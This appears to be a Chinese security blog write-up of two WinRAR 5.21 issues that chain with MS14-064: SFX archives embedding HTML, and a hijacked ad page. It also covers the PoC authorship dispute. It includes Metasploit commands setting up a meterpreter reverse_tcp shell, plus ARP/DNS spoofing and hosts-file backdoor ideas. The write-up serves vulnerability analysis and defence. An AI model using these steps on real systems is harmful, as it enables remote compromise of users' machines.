当前位置:首页 > 文章中心 > 正文内容

WinRAR(5.21)-0day漏洞-始末分析

dgx6662个月前 (04-01)文章中心11

0x00 前言

上月底,WinRAR 5.21被曝出代码执行漏洞,Vulnerability Lab将此漏洞评为高危级,危险系数定为9(满分为10),与此同时安全研究人员Mohammad Reza Espargham发布了PoC,实现了用户打开SFX文件时隐蔽执行攻击代码,但是WinRAR官方RARLabs认为该功能是软件安装必备,没有必要发布任何修复补丁或升级版本。

本以为就此可以跳过该漏洞,但深入研究后发现了更加有趣的事情。

0x01 WinRar 5.21 - SFX OLE 代码执行漏洞

简要介绍一下WinRar 5.21 - SFX OLE 代码执行漏洞

1、相关概念

SFX: SelF-eXtracting的缩写,中文翻译自解压文件,是压缩文件的一种,其可以在没有安装压缩软件的情况下执行解压缩

MS14-064: MicrosoftWindows OLE远程代码执行漏洞,影响Win95+IE3 – Win10+IE11全版本,实际使用时在win7以上系统由于IE存在沙箱机制,启动白名单以外的进程会弹出提示,如图

2、漏洞原理

sfx文件在创建时支持添加html脚本,但又不会受IE沙箱限制,如果主机存在MS14-064漏洞,在打开包含MS14-064 exp的sfx文件后,即可隐蔽执行任意代码

3、测试环境

win7 x86存在MS14-064漏洞安装WinRar 5.21

4、测试过程

实现相对简单,因此只作简要介绍

(1)搭建server

use exploit/windows/browser/ms14_064_ole_code_executionset payload windows/meterpreter/reverse_tcpset LHOST 192.168.40.131set LPORT 1234exploit

如图

(2)生成SFX

选择一个文件右键并添加到压缩文件选中Create SFX archive点击Advanced点击SFX options点击Text and icon

在Text to display in SFX windows中输入如下代码:

(3)运行sfx文件

双击后meterpreter即上线

5、分析这种在sfx文件中添加html代码的方法很久以前已经出现,比如早在08年已存在的Winrar挂马 此漏洞的亮点在于使得MS14-064漏洞exp可以逃脱IE沙箱的限制发现是否包含SFX OLE 代码执行漏洞的方法:遇到后缀为.exe的压缩文件,右键-属性-注释,查看其中的内容如图

0x02 poc之谜

Vulnerability Lab和Malwarebytes以及各大网站夸大漏洞危害本就十分有趣,而poc作者的归属又引来了更加有趣的事情。

接下来根据搜集的信息整理出如下时间节点:

1、seclists.org曝出WinRAR 5.21代码执行漏洞

文中公开Mohammad Reza Espargham的poc

日期:28/09/2015

2、WinRar官方RARLabs作出第一次回应

限制SFX模块中的HTML功能会影响正常用户使用,而且攻击者仍可利用旧版SFX模块、来自非UnRAR源代码的自定义模块、或者自建代码存档进行攻击 所以RARLabs拒绝为此提供补丁并再次提醒用户,无论任何文件,都应该确认其来源是否可信

3、RARLabs作出第二次回应

指出该漏洞夸大其辞毫无意义,建议用户更多去关注windows系统的安全,而不是WinRar软件的本身 在最后提到R-73eN ( RioSherri )举报Mohammad Reza Espargham抄袭其poc代码

4、0day.today或许可以证明存在抄袭

(1) R-73eN首发poc

日期:25/09/2015

(2) Mohammad Reza Espargham随后发布poc

日期:26-09-2015

5、R-73eN为证明实力公布第二个漏洞WinRAR(过期通知) OLE远程代码执行漏洞poc

日期:30-09-2015

6、RARLabs针对R-73eN公布的第二个漏洞作出回应,拒绝修复

-试用版WinRaR会弹出提示注册的窗口,该漏洞被利用存在可能-利用条件: 网络被劫持 未安装MS14-064漏洞补丁-但是又指出如果满足利用条件,那么系统本身已经不安全,早已超出WinRaR软件自身范畴-因此拒绝为此漏洞更新补丁

0x03 WinRAR - (过期通知&广告) OLE 远程代码执行漏洞

虽然WinRAR(过期通知) OLE远程代码执行漏洞也被RARLabs忽略,但其中的思路很是有趣,当然R-73eN公布的poc需要作部分修改来适用更多winRAR环境

1、相关知识

我们在使用WinRAR的时候常常会遇到如下情况:

打开WinRAR时会弹出广告,提示用户付费去掉广告,而不同版本WinRaR广告的链接会存在差异英文版目前最新为5.30 beta5中文版目前最新为5.21英文版

2、漏洞原理

WinRAR默认会访问特定网址,如果能够劫持并替换为MS14-064的攻击代码,那么远程执行任意代码不在话下,当然也能逃脱IE沙箱限制

3、测试环境

win7 x86存在MS14-064漏洞安装WinRar 5.21 cn

4、测试过程

(1)搭建server 下载poc,需要作细微修改(此处暂不提供修改方法),执行python脚本,如图

注:如果了解MS14-064漏洞原理,此处修改轻而易举

(2)重定向至server ip

可使用arp欺骗和dns欺骗

(3)使用WinRar打开任意文件

默认弹出广告,触发漏洞,弹出计算器,如图

5、分析虽然该漏洞条件限制相对多,但该思路很有启发性,可以尝试利用其他软件默认弹出网页的情况可以通过修改主机host文件永久更改广告链接至serverip,最终实现一种另类的后门启动方式针对此漏洞的防范: 阻止网络被劫持安装MS14-064漏洞补丁0x04 小结

WinRar的漏洞相对较少,但如果结合其他攻击方式能否突破其官方宣称的安全逻辑,值得继续研究。

扫描二维码推送至手机访问。

版权声明:本文由第六芝士网发布,如需转载请注明出处。

本文链接:http://www.dgx666.com/post/736.html

标签: winrar中文版
分享给朋友:

“WinRAR(5.21)-0day漏洞-始末分析” 的相关文章

魔兽争霸官方对战平台版本更新 加入RPG大厅

魔兽争霸官方对战平台(dz.163.com)今日推出了全新的RPG大厅功能,这是继1V1赛季模式、2V2赛季模式、DOTA模式、自定义RPG房间后,又一项功能更新。借助该功能,玩家可以轻松地找到自己感兴趣的RPG地图,享受到在各种富含创意的地图上作战的乐趣。目前,RPG大厅里面已有海量极具创意且风格...

CAD安装失败,如何才能删除(卸载)CAD?7步就能完美卸载CAD软件

CAD安装失败,怎么样才能彻底删除CAD各种残留注册表?有时候我们想将CAD重新安装,但却显示CAD已经安装,但又不见CAD软件,然后我们就会发出这样的疑问:CAD无法重新安装是怎么一回事?下面电脑百科林老师就告诉大家CAD安装失败的原因,以及怎么操作才能把CAD完全卸载干净。想CAD重新安装,但却...

如何在圆柱与圆锥面上绘制文字,关键在于SolidWorks包覆命令

今天给大家分享一个小技巧,是关于包覆命令在圆柱和圆锥面上的如何使用进行文字内容绘制,以及需要注意的事项。1. 首先我们打开 Solidworks2018软件,点击拉伸凸台,选择上视基准面,绘制一个圆,如图所示:2. 我们绘制好草图之后,选择完成,点击拉伸,如图所示:3.完成拉伸后,我们选择草图里面的...

桌面备忘录电脑版怎么选?这几款超简洁又好用

在快节奏的现代生活中,一款好用的桌面备忘录软件不仅能帮助我们高效管理日常事务,还能提升我们的工作效率。今天,就为大家推荐几款超实用的桌面备忘录软件,它们各具特色,总有一款适合你。1. 敬业签:功能强大,多端同步敬业签是一款功能强大的桌面备忘录软件,支持多平台同步,包括Windows、Mac、安卓、苹...

出现“无法启动此程序,因为计算机中丢失MSVCR71.dll”怎么办?

MSVCR71.dll是一个动态链接库,是Windows系统用于操作应用程序的文件。当某个应用程序需要文件中的某个函数时,将调用DLL文件。MSVCR71.dll错误通常出现于启动应用程序时,因此我们会收到“无法启动此程序,因为计算机中丢失MSVCR71.dll。尝试重新安装该程序以解决问题”的提示...

C4D软件安装好打不开显示缺少libmmd.dll 解决方法

如图下所示:安装好CINEMA 4D软件之后,第一次也许可以打开,但是第二次就会提示图上的错误,小编之前也在网上面找过很多解决方法,都没用今天教大家解决下此问题,百分之九十九的有效。将你下载的iso镜像文件打开,在里面找到以下四个文件。libmmd.dll msvcp110.dll msvcr110...